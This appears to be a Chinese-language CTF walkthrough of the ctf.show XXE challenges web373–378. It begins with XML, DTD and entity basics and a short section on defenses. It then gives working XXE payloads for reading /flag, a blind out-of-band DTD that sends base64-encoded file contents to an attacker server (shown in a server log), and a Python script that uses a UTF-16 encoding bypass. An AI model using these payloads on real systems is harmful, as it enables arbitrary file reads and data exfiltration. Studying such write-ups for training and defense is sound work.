题目地址:https://ctf.show/challenges
xxe详解:以下内容来自
https://www.cnblogs.com/r00tuser/p/7255939.html
xxe漏洞的学习与利用总结
xml基础知识
要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
xml文档的构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
元素
属性
实体
PCDATA
CDATA
下面是每个构建模块的简要描述。
元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
实例:
<body>body text in between</body>
<message>some message in between</message>
空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。
属性
属性可提供有关元素的额外信息
实例:
<img src="computer.gif" />
实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明: ex: <!DOCTYOE test any>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
外部声明(引用外部DTD): ex: <!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
而note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
一般实体的声明语法:
引用实体的方式:&实体名;
参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;
内部实体声明: ex:<!ENTITY eviltest "eviltest">
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
外部实体声明:
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;©right;</author>
在了解了基础知识后,下面开始了解xml外部实体注入引发的问题。
XXE的攻击与危害(XML External Entity)
何为XXE?
答: xxe也就是xml外部实体注入。也就是上文中加粗的那一部分。
怎样构建外部实体注入?
方式一:直接通过DTD外部实体声明
方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
方式三:通过DTD外部实体声明引入外部实体声明(好像有点拗口,其实意思就是先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明)
产生哪些危害?
XXE危害1:读取任意文件
XXE危害2:执行系统命令
XXE危害3:探测内网端口
XXE危害4:攻击内网网站
如何防御xxe攻击
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
web373
payload:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<bit>
<ctfshow>&xxe;</ctfshow>
</bit>
web374
无回显XXE
可以用python构造一个静态服务器 (这里监听和静态服务是一个端口)
python3 -m http.server 810
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://xx.xx.xx/test.dtd">%xxe;]>
test.dtd文件:
(flag必须base64这样编码才打得通,不知道是不是服务器的问题=.=)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://xxx.xx.xxx.78:810/?x=%file;'>">
%eval;
%exfiltrate;
root@VM-4-10-ubuntu:~# python3 -m http.server 810
Serving HTTP on 0.0.0.0 port 810 (http://0.0.0.0:810/) ...
49.235.148.38 - - [13/Jun/2021 22:03:33] "GET /?x=Y3Rmc2hvd3szNjc5NmFlMi01NWMyLTQ3OTMtYTM0NC1lYWNiMGI2ODRhYTB9Cg== HTTP/1.0" 200 -
base64解码一下就是flag了。
web375-376
存在过滤,用空格绕过就行了,没啥难度。
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://xx.xx.xx.xx/test.dtd"> %xxe;]>
<root><ctfshow>&xxe;</ctfshow></root>
web377
监听一下端口或者(我上面开启服务一直没关,也收到了)
test.dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xx.xx.xx.xx:810/%file;'> ">
%dtd;
%xxe;
exp:
import requests
url = 'http://60f746d2-cea2-4569-ab0e-1961ed93627c.challenge.ctf.show:8080/'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xx.xx.xx.xx/test.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)
web378
修复完环境看了一下拿了个一血,
python x
就是Python XXE漏洞
没啥难度;随便试一下就出来了,
直接上payload:
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag" >]>